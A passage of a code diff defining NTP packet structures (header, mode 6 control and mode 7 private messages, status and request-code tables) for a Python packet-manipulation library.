+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Key Identifier | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # | dgst (128) | + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # + # Figure 8: Packet Header Format + ######################################################################### + # + + name = "NTPHeader" + match_subclass = True + fields_desc = [ + BitEnumField("leap", 0, 2, _leap_indicator), + BitField("version", 4, 3), + BitEnumField("mode", 3, 3, _ntp_modes), + BitField("stratum", 2, 8), + BitField("poll", 0xa, 8), + BitField("precision", 0, 8), + FixedPointField("delay", 0, size=32, frac_bits=16), + FixedPointField("dispersion", 0, size=32, frac_bits=16), + ConditionalField(IPField("id", "127.0.0.1"), lambda p: p.stratum > 1), + ConditionalField( + StrFixedLenEnumField( + "ref_id", + "", + length=4, + enum=_reference_identifiers + ), + lambda p: p.stratum < 2 + ), + TimeStampField("ref", 0), + TimeStampField("orig", None), + TimeStampField("recv", 0), + TimeStampField("sent", None), + ] + + def guess_payload_class(self, payload): + """ + Handles NTPv4 extensions and MAC part (when authentication is used.) + """ + plen = len(payload) + + if plen > _NTP_AUTH_MD5_TAIL_SIZE: + return NTPExtensions + elif plen == _NTP_AUTH_MD5_TAIL_SIZE: + return NTPAuthenticator + + return Packet.guess_payload_class(self, payload) + + +class _NTPInvalidDataException(Exception): + """ + Raised when it is not possible to instantiate a NTP packet with the + given data. + """ + + def __init__(self, details): + Exception.__init__( + self, + "Data does not seem to be a valid NTP message" + details + ) + + +############################################################################## +# Private (mode 7) +############################################################################## + +# Operation codes +_op_codes = { + 0: "CTL_OP_UNSPEC", + 1: "CTL_OP_READSTAT", + 2: "CTL_OP_READVAR", + 3: "CTL_OP_WRITEVAR", + 4: "CTL_OP_READCLOCK", + 5: "CTL_OP_WRITECLOCK", + 6: "CTL_OP_SETTRAP", + 7: "CTL_OP_ASYNCMSG", + 8: "CTL_OP_CONFIGURE", + 9: "CTL_OP_SAVECONFIG", + 10: "CTL_OP_READ_MRU", + 11: "CTL_OP_READ_ORDLIST_A", + 12: "CTL_OP_REQ_NONCE", + 31: "CTL_OP_UNSETTRAP" +} + + +# System status words +_system_statuses = { + 0: "no warning", + 1: "last minute was 61 seconds", + 2: "last minute was 59 seconds", + 3: "alarm condition (clock not synchronized)" +} + + +_clock_sources = { + 0: "unspecified or unknown", + 1: " Calibrated atomic clock", + 2: "VLF (band 4) or LF (band 5) radio", + 3: "HF (band 7) radio", + 4: "UHF (band 9) satellite", + 5: "local net", + 6: "UDP/NTP", + 7: "UDP/TIME", + 8: "eyeball-and-wristwatch", + 9: "telephone modem" +} + + +_system_event_codes = { + 0: "unspecified", + 1: "system restart", + 2: "system or hardware fault", + 3: "system new status word (leap bits or synchronization change)", + 4: "system new synchronization source or stratum (sys.peer or sys.stratum change)", # noqa: E501 + 5: "system clock reset (offset correction exceeds CLOCK.MAX)", + 6: "system invalid time or date", + 7: "system clock exception", +} + + +# Peer status words +_peer_statuses = { + 0: "configured", + 1: "authentication enabled", + 2: "authentication okay", + 3: "reachability okay", + 4: "reserved" +} + + +_peer_selection = { + 0: "rejected", + 1: "passed sanity checks", + 2: "passed correctness checks", + 3: "passed candidate checks", + 4: "passed outlyer checks", + 5: "current synchronization source; max distance exceeded", + 6: "current synchronization source; max distance okay", + 7: "reserved" +} + + +_peer_event_codes = { + 0: "unspecified", + 1: "peer IP error", + 2: "peer authentication failure", + 3: "peer unreachable", + 4: "peer reachable", + 5: "peer clock exception", +} + + +# Clock status words +_clock_statuses = { + 0: "clock operating within nominals", + 1: "reply timeout", + 2: "bad reply format", + 3: "hardware or software fault", + 4: "propagation failure", + 5: "bad date format or value", + 6: "bad time format or value" +} + + +# Error status words +_error_statuses = { + 0: "unspecified", + 1: "authentication failure", + 2: "invalid message length or format", + 3: "invalid opcode", + 4: "unknown association identifier", + 5: "unknown variable name", + 6: "invalid variable value", + 7: "administratively prohibited" +} + + +class NTPStatusPacket(Packet): + """ + Packet handling a non specific status word. + """ + + name = "status" + fields_desc = [ShortField("status", 0)] + + def extract_padding(self, s): + return b"", s + + +class NTPSystemStatusPacket(Packet): + + """ + Packet handling the system status fields. + """ + + name = "system status" + fields_desc = [ + BitEnumField("leap_indicator", 0, 2, _system_statuses), + BitEnumField("clock_source", 0, 6, _clock_sources), + BitField("system_event_counter", 0, 4), + BitEnumField("system_event_code", 0, 4, _system_event_codes), + ] + + def extract_padding(self, s): + return b"", s + + +class NTPPeerStatusPacket(Packet): + """ + Packet handling the peer status fields. + """ + + name = "peer status" + fields_desc = [ + BitField("configured", 0, 1), + BitField("auth_enabled", 0, 1), + BitField("authentic", 0, 1), + BitField("reachability", 0, 1), + BitField("reserved", 0, 1), + BitEnumField("peer_sel", 0, 3, _peer_selection), + BitField("peer_event_counter", 0, 4), + BitEnumField("peer_event_code", 0, 4, _peer_event_codes), + ] + + def extract_padding(self, s): + return b"", s + + +class NTPClockStatusPacket(Packet): + """ + Packet handling the clock status fields. + """ + + name = "clock status" + fields_desc = [ + BitEnumField("clock_status", 0, 8, _clock_statuses), + BitField("code", 0, 8) + ] + + def extract_padding(self, s): + return b"", s + + +class NTPErrorStatusPacket(Packet): + """ + Packet handling the error status fields. + """ + + name = "error status" + fields_desc = [ + BitEnumField("error_code", 0, 8, _error_statuses), + BitField("reserved", 0, 8) + ] + + def extract_padding(self, s): + return b"", s + + +class NTPControlStatusField(PacketField): + """ + This field provides better readability for the "status" field. + """ + + ######################################################################### + # + # RFC 1305 + ######################################################################### + # + # Appendix B.3. Commands // ntpd source code: ntp_control.h + ######################################################################### + # + + def m2i(self, pkt, m): + ret = None + association_id = struct.unpack("!H", m[2:4])[0] + + if pkt.err == 1: + ret = NTPErrorStatusPacket(m) + + # op_code == CTL_OP_READSTAT + elif pkt.op_code == 1: + if association_id != 0: + ret = NTPPeerStatusPacket(m) + else: + ret = NTPSystemStatusPacket(m) + + # op_code == CTL_OP_READVAR + elif pkt.op_code == 2: + if association_id != 0: + ret = NTPPeerStatusPacket(m) + else: + ret = NTPSystemStatusPacket(m) + + # op_code == CTL_OP_WRITEVAR + elif pkt.op_code == 3: + ret = NTPStatusPacket(m) + + # op_code == CTL_OP_READCLOCK or op_code == CTL_OP_WRITECLOCK + elif pkt.op_code == 4 or pkt.op_code == 5: + ret = NTPClockStatusPacket(m) + + else: + ret = NTPStatusPacket(m) + + return ret + + +class NTPPeerStatusDataPacket(Packet): + """ + Packet handling the data field when op_code is CTL_OP_READSTAT + and the association_id field is null. + """ + + name = "data / peer status" + fields_desc = [ + ShortField("association_id", 0), + PacketField("peer_status", NTPPeerStatusPacket(), NTPPeerStatusPacket), + ] + + +class NTPControlDataPacketLenField(PacketLenField): + + """ + PacketField handling the "data" field of NTP control messages. + """ + + def m2i(self, pkt, m): + ret = None + + # op_code == CTL_OP_READSTAT + if pkt.op_code == 1: + if pkt.association_id == 0: + # Data contains association ID and peer status + ret = NTPPeerStatusDataPacket(m) + else: + ret = conf.raw_layer(m) + else: + ret = conf.raw_layer(m) + + return ret + + def getfield(self, pkt, s): + length = self.length_from(pkt) + i = None + if length > 0: + # RFC 1305 + # The maximum number of data octets is 468. + # + # include/ntp_control.h + # u_char data[480 + MAX_MAC_LEN]; /* data + auth */ + # + # Set the minimum length to 480 - 468 + length = max(12, length) + if length % 4: + length += (4 - length % 4) + try: + i = self.m2i(pkt, s[:length]) + except Exception: + if conf.debug_dissector: + raise + i = conf.raw_layer(load=s[:length]) + return s[length:], i + + +class NTPControl(NTP): + """ + Packet handling NTP mode 6 / "Control" messages. + """ + + ######################################################################### + # + # RFC 1305 + ######################################################################### + # + # Appendix B.3. Commands // ntpd source code: ntp_control.h + ######################################################################### + # + + name = "Control message" + match_subclass = True + fields_desc = [ + BitField("zeros", 0, 2), + BitField("version", 2, 3), + BitField("mode", 6, 3), + BitField("response", 0, 1), + BitField("err", 0, 1), + BitField("more", 0, 1), + BitEnumField("op_code", 0, 5, _op_codes), + ShortField("sequence", 0), + ConditionalField(NTPControlStatusField( + "status_word", "", Packet), lambda p: p.response == 1), + ConditionalField(ShortField("status", 0), lambda p: p.response == 0), + ShortField("association_id", 0), + ShortField("offset", 0), + ShortField("count", None), + NTPControlDataPacketLenField( + "data", "", Packet, length_from=lambda p: p.count), + PacketField("authenticator", "", NTPAuthenticator), + ] + + def post_build(self, p, pay): + if self.count is None: + length = 0 + if self.data: + length = len(self.data) + p = p[:11] + struct.pack("!H", length) + p[13:] + return p + pay + + +############################################################################## +# Private (mode 7) +############################################################################## + +_information_error_codes = { + 0: "INFO_OKAY", + 1: "INFO_ERR_IMPL", + 2: "INFO_ERR_REQ", + 3: "INFO_ERR_FMT", + 4: "INFO_ERR_NODATA", + 7: "INFO_ERR_AUTH" +} + + +_implementations = { + 0: "IMPL_UNIV", + 2: "IMPL_XNTPD_OLD", + 3: "XNTPD" +} + + +_request_codes = { + 0: "REQ_PEER_LIST", + 1: "REQ_PEER_LIST_SUM", + 2: "REQ_PEER_INFO", + 3: "REQ_PEER_STATS", + 4: "REQ_SYS_INFO", + 5: "REQ_SYS_STATS", + 6: "REQ_IO_STATS", + 7: "REQ_MEM_STATS", + 8: "REQ_LOOP_INFO", + 9: "REQ_TIMER_STATS", + 10: "REQ_CONFIG", + 11: "REQ_UNCONFIG", + 12: "REQ_SET_SYS_FLAG", + 13: "REQ_CLR_SYS_FLAG", + 14: "REQ_MONITOR", + 15: "REQ_NOMONITOR", + 16: "REQ_GET_RESTRICT", + 17: "REQ_RESADDFLAGS", + 18: "REQ_RESSUBFLAGS", + 19: "REQ_UNRESTRICT", + 20: "REQ_MON_GETLIST", + 21: "REQ_RESET_STATS", + 22: "REQ_RESET_PEER", + 23: "REQ_REREAD_KEYS", + 24: "REQ_DO_DIRTY_HACK", + 25: "REQ_DONT_DIRTY_HACK", + 26: "REQ_TRUSTKEY", + 27: "REQ_UNTRUSTKEY", + 28: "REQ_AUTHINFO", + 29: "REQ_TRAPS", + 30: "REQ_ADD_TRAP", + 31: "REQ_CLR_TRAP", + 32: "REQ_REQUEST_KEY", + 33: "REQ_CONTROL_KEY", + 34: "REQ_GET_CTLSTATS", + 35: "REQ_GET_LEAPINFO", + 36: "REQ_GET_CLOCKINFO", + 37: "REQ_SET_CLKFUDGE", + 38: "REQ_GET_KERNEL", + 39: "REQ_GET_CLKBUGINFO", + 41: "REQ_SET_PRECISION", + 42: "REQ_MON_GETLIST_1", + 43: "REQ_HOSTNAME_ASSOCID", + 44: "REQ_IF_STATS", + 45: "REQ_IF_RELOAD" +} + + +# Flags in the peer information returns +_peer_flags = [ + "INFO_FLAG_CONFIG", + "INFO_FLAG_SYSPEER", + "INFO_FLAG_BURST", + "INFO_FLAG_REFCLOCK", + "INFO_FLAG_PREFER", + "INFO_FLAG_AUTHENABLE", + "INFO_FLAG_SEL_CANDIDATE", + "INFO_FLAG_SHORTLIST", + "INFO_FLAG_IBURST" +] + + +# Flags in the system information returns +_sys_info_flags = [ + "INFO_FLAG_BCLIENT", + "INFO_FLAG_AUTHENTICATE", + "INFO_FLAG_NTP", + "INFO_FLAG_KERNEL", + "INFO_FLAG_CAL", + "INFO_FLAG_PPS_SYNC", + "INFO_FLAG_MONITOR", + "INFO_FLAG_FILEGEN", +] + + +class NTPInfoPeerList(Packet): + + """ + Used to return raw lists of peers. + """ + name = "info_peer_list" + fields_desc = [ + IPField("addr", "0.0.0.0"), + ShortField("port", 0), + ByteEnumField("hmode", 0, _ntp_modes), + FlagsField("flags", 0, 8, _peer_flags), + IntField("v6_flag", 0), + IntField("unused1", 0), + IP6Field("addr6", "::") + ] + + +class NTPInfoPeerSummary(Packet): + """ + Sort of the info that ntpdc returns by default. + """ + name = "info_peer_summary" + fields_desc = [ + IPField("dstaddr", "0.0.0.0"), + IPField("srcaddr", "0.0.0.0"), + ShortField("srcport", 0), + ByteField("stratum", 0), + ByteField("hpoll", 0), + ByteField("ppoll", 0), + ByteField("reach", 0), + FlagsField("flags", 0, 8, _peer_flags), + ByteField("hmode", _ntp_modes), + FixedPointField("delay", 0, size=32, frac_bits=16), + TimeStampField("offset", 0), + FixedPointField("dispersion", 0, size=32, frac_bits=16), + IntField("v6_flag", 0), + IntField("unused1", 0), + IP6Field("dstaddr6", "::"), + IP6Field("srcaddr6", "::") + ] + + +class NTPInfoPeer(Packet): + """ + Peer information structure. + """ + + name = "info_peer" + fields_desc = [ + IPField("dstaddr", "0.0.0.0"), + IPField("srcaddr", "0.0.0.0"), + ShortField("srcport", 0), + FlagsField("flags", 0, 8, _peer_flags), + ByteField("leap", 0), + ByteEnumField("hmode", 0, _ntp_modes), + ByteField("pmode", 0), + ByteField("stratum", 0), + ByteField("ppoll", 0), + ByteField("hpoll", 0), + SignedByteField("precision", 0), + ByteField("version", 0), + ByteField("unused8", 0), + ByteField("reach", 0), + ByteField("unreach", 0), + XByteField("flash", 0), + ByteField("ttl", 0), + XLEShortField("flash2", 0), + ShortField("associd", 0), + LEIntField("keyid", 0), + IntField("pkeyid", 0), + IPField("refid", 0), + IntField("timer", 0), + FixedPointField("rootdelay", 0, size=32, frac_bits=16), + FixedPointField("rootdispersion", 0, size=32, frac_bits=16), + TimeStampField("reftime", 0), + TimeStampField("org", 0), + TimeStampField("rec", 0), + TimeStampField("xmt", 0), + FieldListField( + "filtdelay", + [0.0 for i in range(0, _NTP_SHIFT)], + FixedPointField("", 0, size=32, frac_bits=16), + count_from=lambda p: _NTP_SHIFT + ), + FieldListField( + "filtoffset", + [0.0 for i in range(0, _NTP_SHIFT)], + TimeStampField("", 0), + count_from=lambda p: _NTP_SHIFT + ), + FieldListField( + "order", + [0 for i in range(0, _NTP_SHIFT)], + ByteField("", 0), + count_from=lambda p: _NTP_SHIFT + ), + FixedPointField("delay", 0, size=32, frac_bits=16), + FixedPointField("dispersion", 0, size=32, frac_bits=16), + TimeStampField("offset", 0), + FixedPointField("selectdisp", 0, size=32, frac_bits=16), + IntField("unused1", 0), + IntField("unused2", 0), + IntField("unused3", 0), + IntField("unused4", 0), + IntField("unused5", 0), + IntField("unused6", 0), + IntField("unused7", 0), + FixedPointField("estbdelay", 0, size=32, frac_bits=16), + IntField("v6_flag", 0), + IntField("unused9", 0), + IP6Field("dstaddr6", "::"), + IP6Field("srcaddr6", "::"), + ] + + +class NTPInfoPeerStats(Packet): + """ + Peer statistics structure. + """ + + name = "info_peer_stats" + fields_desc = [ + IPField("dstaddr", "0.0.0.0"), + IPField("srcaddr", "0.0.0.0"), + ShortField("srcport", 0), + FlagsField("flags", 0, 16, _peer_flags), + IntField("timereset", 0), + IntField("timereceived", 0), + IntField("timetosend", 0), + IntField("timereachable", 0), + IntField("sent", 0), + IntField("unused1", 0), + IntField("processed", 0), + IntField("unused2", 0), + IntField("badauth", 0), + IntField("bogusorg", 0), + IntField("oldpkt", 0), + IntField("unused3", 0), + IntField("unused4", 0), + IntField("seldisp", 0), + IntField("selbroken", 0), + IntField("unused5", 0), + ByteField("candidate", 0), + ByteField("unused6", 0), + ByteField("unused7", 0), + ByteField("unused8", 0), + IntField("v6_flag", 0), + IntField("unused9", 0), + IP6Field("dstaddr6", "::"), + IP6Field("srcaddr6", "::"), + ] + + +class NTPInfoLoop(Packet): + """ + Loop filter variables. + """ + + name = "info_loop" + fields_desc = [ + TimeStampField("last_offset", 0), + TimeStampField("drift_comp", 0), + IntField("compliance", 0), + IntField("watchdog_timer", 0) + ] + + +class NTPInfoSys(Packet): + """ + System info. Mostly the sys.* variables, plus a few unique to + the implementation. + """ + + name = "info_sys" + fields_desc = [ + IPField("peer", "0.0.0.0"), + ByteField("peer_mode", 0), + ByteField("leap", 0), + ByteField("stratum", 0), + ByteField("precision", 0), + FixedPointField("rootdelay", 0, size=32, frac_bits=16), + FixedPointField("rootdispersion", 0, size=32, frac_bits=16), + IPField("refid", 0), + TimeStampField("reftime", 0), + IntField("poll", 0), + FlagsField("flags", 0, 8, _sys_info_flags), + ByteField("unused1", 0), + ByteField("unused2", 0), + ByteField("unused3", 0), + FixedPointField("bdelay", 0, size=32, frac_bits=16), + FixedPointField("frequency", 0, size=32, frac_bits=16), + TimeStampField("authdelay", 0), + FixedPointField("stability", 0, size=32, frac_bits=16), + IntField("v6_flag", 0), + IntField("unused4", 0), + IP6Field("peer6", "::") + ] + + +class NTPInfoSysStats(Packet): + """ + System stats. These are collected in the protocol module. + """ + + name = "info_sys_stats" + fields_desc = [ + IntField("timeup", 0), + IntField("timereset", 0), + IntField("denied", 0), + IntField("oldversionpkt", 0), + IntField("newversionpkt", 0), + IntField("unknownversion", 0), + IntField("badlength", 0), + IntField("processed", 0), + IntField("badauth", 0), + IntField("received", 0), + IntField("limitrejected", 0) + ] + + +class NTPInfoMemStats(Packet): + """ + Peer memory statistics. + """ + + name = "info_mem_stats" + fields_desc = [ + IntField("timereset", 0), + ShortField("totalpeermem", 0), + ShortField("freepeermem", 0), + IntField("findpeer_calls", 0), + IntField("allocations", 0), + IntField("demobilizations", 0), + FieldListField( + "hashcount", + [0.0 for i in range(0, _NTP_HASH_SIZE)], + ByteField("", 0), + count_from=lambda p: _NTP_HASH_SIZE + ) + ] + + +class NTPInfoIOStats(Packet): + """ + I/O statistics. + """ + + name = "info_io_stats" + fields_desc = [ + IntField("timereset", 0), + ShortField("totalrecvbufs", 0), + ShortField("freerecvbufs", 0), + ShortField("fullrecvbufs", 0), + ShortField("lowwater", 0), + IntField("dropped", 0), + IntField("ignored", 0), + IntField("received", 0), + IntField("sent", 0), + IntField("notsent", 0), + IntField("interrupts", 0), + IntField("int_received", 0) + ] + + +class NTPInfoTimerStats(Packet): + """ + Timer stats. + """ + + name = "info_timer_stats" + fields_desc = [ + IntField("timereset", 0), + IntField("alarms", 0), + IntField("overflows", 0), + IntField("xmtcalls", 0), + ] + + +_conf_peer_flags = [ + "CONF_FLAG_AUTHENABLE", + "CONF_FLAG_PREFER", + "CONF_FLAG_BURST", + "CONF_FLAG_IBURST", + "CONF_FLAG_NOSELECT", + "CONF_FLAG_SKEY" +] + + +class NTPConfPeer(Packet): + """ + Structure for passing peer configuration information. + """ + + name = "conf_peer" + fields_desc = [ + IPField("peeraddr", "0.0.0.0"), + ByteField("hmode", 0), + ByteField("version", 0), + ByteField("minpoll", 0), + ByteField("maxpoll", 0), + FlagsField("flags", 0, 8, _conf_peer_flags), + ByteField("ttl", 0), + ShortField("unused1", 0), + IntField("keyid", 0), + StrFixedLenField("keystr", "", length=128), + IntField("v6_flag", 0), + IntField("unused2", 0), + IP6Field("peeraddr6", "::") + ] + + +class NTPConfUnpeer(Packet): + """ + Structure for passing peer deletion information. + """ + + name = "conf_unpeer" + fields_desc = [ + IPField("peeraddr", "0.0.0.0"), + IntField("v6_flag", 0), + IP6Field("peeraddr6", "::") + ] + + +_restrict_flags = [ + "RES_IGNORE", + "RES_DONTSERVE", + "RES_DONTTRUST", + "RES_VERSION", + "RES_NOPEER", + "RES_LIMITED", + "RES_NOQUERY", + "RES_NOMODIFY", + "RES_NOTRAP", + "RES_LPTRAP", + "RES_KOD", + "RES_MSSNTP", + "RES_FLAKE", + "RES_NOMRULIST", +] + + +class NTPConfRestrict(Packet): + """ + Structure used for specifying restrict entries. + """ + + name = "conf_restrict" + fields_desc = [ + IPField("addr", "0.0.0.0"), + IPField("mask", "0.0.0.0"), + FlagsField("flags", 0, 16, _restrict_flags), + ShortField("m_flags", 0), + IntField("v6_flag", 0), + IP6Field("addr6", "::"), + IP6Field("mask6", "::") + ] + + +class NTPInfoKernel(Packet): + """ + Structure used for returning kernel pll/PPS information + """ + + name = "info_kernel" + fields_desc = [ + IntField("offset", 0), + IntField("freq", 0), + IntField("maxerror", 0), + IntField("esterror", 0), + ShortField("status", 0), + ShortField("shift", 0), + IntField("constant", 0), + IntField("precision", 0), + IntField("tolerance", 0), + IntField("ppsfreq", 0), + IntField("jitter", 0), + IntField("stabil", 0), + IntField("jitcnt", 0), + IntField("calcnt", 0), + IntField("errcnt", 0), + IntField("stbcnt", 0), + ] + + +class NTPInfoIfStatsIPv4(Packet): + """ + Interface statistics. + """ + + name = "info_if_stats" + fields_desc = [ + PadField(IPField("unaddr", "0.0.0.0"), 16, padwith=b"\x00"), + PadField(IPField("unbcast", "0.0.0.0"), 16, padwith=b"\x00"), + PadField(IPField("unmask", "0.0.0.0"), 16, padwith=b"\x00"), + IntField("v6_flag", 0), + StrFixedLenField("ifname", "", length=32), + IntField("flags", 0), + IntField("last_ttl", 0), + IntField("num_mcast", 0), + IntField("received", 0), + IntField("sent", 0), + IntField("notsent", 0), + IntField("uptime", 0), + IntField("scopeid", 0), + IntField("ifindex", 0), + IntField("ifnum", 0), + IntField("peercnt", 0), + ShortField("family", 0), + ByteField("ignore_packets", 0), + ByteField("action", 0), + IntField("_filler0", 0) + ] + + +class NTPInfoIfStatsIPv6(Packet): + """ + Interface statistics. + """ + + name = "info_if_stats" + fields_desc = [ + IP6Field("unaddr", "::"), + IP6Field("unbcast", "::"), + IP6Field("unmask", "::"), + IntField("v6_flag", 0), + StrFixedLenField("ifname", "", length=32), + IntField("flags", 0), + IntField("last_ttl", 0), + IntField("num_mcast", 0), + IntField("received", 0), + IntField("sent", 0), + IntField("notsent", 0), + IntField("uptime", 0), + IntField("scopeid", 0), + IntField("ifindex", 0), + IntField("ifnum", 0), + IntField("peercnt", 0), + ShortField("family", 0), + ByteField("ignore_packets", 0), + ByteField("action", 0), + IntField("_filler0", 0) + ] + + +class NTPInfoMonitor1(Packet): + """ + Structure used for returning monitor data. + """ + + name = "InfoMonitor1" + fields_desc = [ + IntField("lasttime", 0), + IntField("firsttime", 0), + IntField("lastdrop", 0), + IntField("count", 0), + IPField("addr", "0.0.0.0"), + IPField("daddr", "0.0.0.0"), + IntField("flags", 0), + ShortField("port", 0), + ByteField("mode", 0), + ByteField("version", 0), + IntField("v6_flag", 0), + IntField("unused1", 0), + IP6Field("addr6", "::"), + IP6Field("daddr6", "::") + ] + + +class NTPInfoAuth(Packet): + """ + Structure used to return information concerning the authentication module. + """ + + name = "info_auth" + fields_desc = [ + IntField("timereset", 0), + IntField("numkeys", 0), + IntField("numfreekeys", 0), + IntField("keylookups", 0), + IntField("keynotfound", 0), + IntField("encryptions", 0), + IntField("decryptions", 0), + IntField("expired", 0), + IntField("keyuncached", 0), + ] + + +class NTPConfTrap(Packet): + """ + Structure used to pass add/clear trap information to the client + """ + + name = "conf_trap" + fields_desc = [ + IPField("local_address", "0.0.0.0"), + IPField("trap_address", "0.0.0.0"), + ShortField("trap_port", 0), + ShortField("unused", 0), + IntField("v6_flag", 0), + IP6Field("local_address6", "::"), + IP6Field("trap_address6", "::"), + ] + + +class NTPInfoControl(Packet): + """ + Structure used to return statistics from the control module. + """ + + name = "info_control" + fields_desc = [ + IntField("ctltimereset", 0), + IntField("numctlreq", 0), + IntField("numctlbadpkts", 0), + IntField("numctlresponses", 0), + IntField("numctlfrags", 0), + IntField("numctlerrors", 0), + IntField("numctltooshort", 0), + IntField("numctlinputresp", 0), + IntField("numctlinputfrag", 0), + IntField("numctlinputerr", 0), + IntField("numctlbadoffset", 0), + IntField("numctlbadversion", 0), + IntField("numctldatatooshort", 0), + IntField("numctlbadop", 0), + IntField("numasyncmsgs", 0), + ] + + +# ntp_request.h +_ntpd_private_errors = { + 0: "no error", + 1: "incompatible implementation number", + 2: "unimplemented request code", + 3: "format error (wrong data items, data size, packet size etc.)", + 4: "no data available (e.g. request for details on unknown peer)", + 5: "I don\"t know", + 6: "I don\"t know", + 7: "authentication failure (i.e. permission denied)", +} + + +# dict mapping request codes to the right response data class +_private_data_objects = { + 0: NTPInfoPeerList, # "REQ_PEER_LIST", + 1: NTPInfoPeerSummary, # "REQ_PEER_LIST_SUM", + 2: NTPInfoPeer, # "REQ_PEER_INFO", + 3: NTPInfoPeerStats, # "REQ_PEER_STATS", + 4: NTPInfoSys, # "REQ_SYS_INFO", + 5: NTPInfoSysStats, # "REQ_SYS_STATS", + 6: NTPInfoIOStats, # "REQ_IO_STATS", + 7: NTPInfoMemStats, # "REQ_MEM_STATS", + 8: NTPInfoLoop, # "REQ_LOOP_INFO", + 9: NTPInfoTimerStats, # "REQ_TIMER_STATS", + 10: NTPConfPeer, # "REQ_CONFIG", + 11: NTPConfUnpeer, # "REQ_UNCONFIG", + 28: NTPInfoAuth, # "REQ_AUTHINFO", + 30: NTPConfTrap, # "REQ_ADD_TRAP", + 34: NTPInfoControl, # "REQ_GET_CTLSTATS", + 38: NTPInfoKernel, # "REQ_GET_KERNEL", + 42: NTPInfoMonitor1, # "REQ_MON_GETLIST_1", +} + + +class NTPPrivateRespPacketListField(PacketListField): + """ + PacketListField handling the response data. + """ + + def m2i(self, pkt, s): + ret = None + + # info_if_stats + if pkt.request_code == 44 or pkt.request_code == 45: + is_v6 = struct.unpack("!I", s[48:52])[0] + ret = NTPInfoIfStatsIPv6(s) if is_v6 else NTPInfoIfStatsIPv4(s) + else: + ret = _private_data_objects.get(pkt.request_code, conf.raw_layer)(s) # noqa: E501 + + return ret + + def getfield(self, pkt, s): + lst = [] + remain = s + length = pkt.data_item_size + if length > 0: + item_counter = 0 + # Response payloads can be placed in several packets + while len(remain) >= pkt.data_item_size and item_counter < pkt.nb_items: # noqa: E501 + current = remain[:length] + remain = remain[length:] + current_packet = self.m2i(pkt, current) + lst.append(current_packet) + item_counter += 1 + + return remain, lst + + +class NTPPrivateReqPacket(Packet): + """ + Packet handling request data. + """ + + name = "request data" + fields_desc = [StrField("req_data", "")] + + +_request_codes = { + 0: "REQ_PEER_LIST", + 1: "REQ_PEER_LIST_SUM", + 2: "REQ_PEER_INFO", + 3: "REQ_PEER_STATS", + 4: "REQ_SYS_INFO", + 5: "REQ_SYS_STATS", + 6: "REQ_IO_STATS", + 7: "REQ_MEM_STATS", + 8: "REQ_LOOP_INFO", + 9: "REQ_TIMER_STATS", + 10: "REQ_CONFIG", + 11: "REQ_UNCONFIG", + 12: "REQ_SET_SYS_FLAG", + 13: "REQ_CLR_SYS_FLAG", + 14: "REQ_MONITOR", + 15: "REQ_NOMONITOR", + 16: "REQ_GET_RESTRICT", + 17: "REQ_RESADDFLAGS", + 18: "REQ_RESSUBFLAGS", + 19: "REQ_UNRESTRICT", + 20: "REQ_MON_GETLIST", + 21: "REQ_RESET_STATS", + 22: "REQ_RESET_PEER", + 23: "REQ_REREAD_KEYS", + 24: "REQ_DO_DIRTY_HACK", + 25: "REQ_DONT_DIRTY_HACK", + 26: "REQ_TRUSTKEY", + 27: "REQ_UNTRUSTKEY", + 28: "REQ_AUTHINFO", + 29: "REQ_TRAPS", + 30: "REQ_ADD_TRAP", + 31: "REQ_CLR_TRAP", + 32: "REQ_REQUEST_KEY", + 33: "REQ_CONTROL_KEY", + 34: "REQ_GET_CTLSTATS", + 35: "REQ_GET_LEAPINFO", + 36: "REQ_GET_CLOCKINFO", + 37: "REQ_SET_CLKFUDGE", + 38: "REQ_GET_KERNEL", + 39: "REQ_GET_CLKBUGINFO", + 41: "REQ_SET_PRECISION", + 42: "REQ_MON_GETLIST_1", + 43: "REQ_HOSTNAME_ASSOCID", + 44: "REQ_IF_STATS", + 45: "REQ_IF_RELOAD" +} + + +class NTPPrivateReqPacketListField(PacketListField): + """ + Handles specific request packets. + """ + + # See ntpdc/ntpdc.c and ntpdc/ntpdc_ops.c + + def m2i(self, pkt, s): + ret = None + + if pkt.request_code == 2 or pkt.request_code == 3: + # REQ_PEER_INFO (see ntpdc/ntpdc_ops.c: showpeer()) + # REQ_PEER_STATS (for request only) + ret = NTPInfoPeerList(s) + + elif pkt.request_code == 10: + # REQ_CONFIG + ret = NTPConfPeer(s) + + elif pkt.request_code == 11: + # REQ_CONFIG + ret = NTPConfUnpeer(s) + + elif pkt.request_code == 17: + # REQ_RESADDFLAGS + ret = NTPConfRestrict(s) + + elif pkt.request_code == 18: + # REQ_RESSUBFLAGS + ret = NTPConfRestrict(s) + + elif pkt.request_code == 22: + # REQ_RESET_PEER + ret = NTPConfUnpeer(s) + + elif pkt.request_code == 30 or pkt.request_code == 31: + # REQ_ADD_TRAP + ret = NTPConfTrap(s) + + else: + ret = NTPPrivateReqPacket(s) + + return ret + + def getfield(self, pkt, s): + lst = [] + remain = s + length = pkt.data_item_size + if length > 0: + item_counter = 0 + while len(remain) >= pkt.data_item_size * pkt.nb_items and item_counter < pkt.nb_items: # noqa: E501 + current = remain[:length] + remain = remain[length:] + current_packet = self.m2i(pkt, current) + lst.append(current_packet) + item_counter += 1 + + # If "auth" bit is set, don't forget the padding bytes + if pkt.auth: + padding_end = len(remain) - _NTP_PRIVATE_REQ_PKT_TAIL_LEN + current_packet = conf.raw_layer(remain[:padding_end]) + lst.append(current_packet) + remain = remain[padding_end:] + + return remain, lst + + +class NTPPrivatePktTail(Packet): + """ + include/ntp_request.h + The req_pkt_tail structure is used by ntpd to adjust for different + packet sizes that may arrive. + """ + + name = "req_pkt_tail" + fields_desc = [ + TimeStampField("tstamp", 0), + IntField("key_id", 0), + XStrFixedLenField( + "dgst", "", length_from=lambda x: _NTP_AUTH_MD5_DGST_SIZE) + ] + + +class NTPPrivate(NTP): + """ + Packet handling the private (mode 7) messages. + """ + + ######################################################################### + # ntpd source code: ntp_request.h + ######################################################################### + # + # A mode 7 packet is used exchanging data between an NTP server + # and a client for purposes other than time synchronization, e.g. + # monitoring, statistics gathering and configuration. A mode 7 + # packet has the following format: + # + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 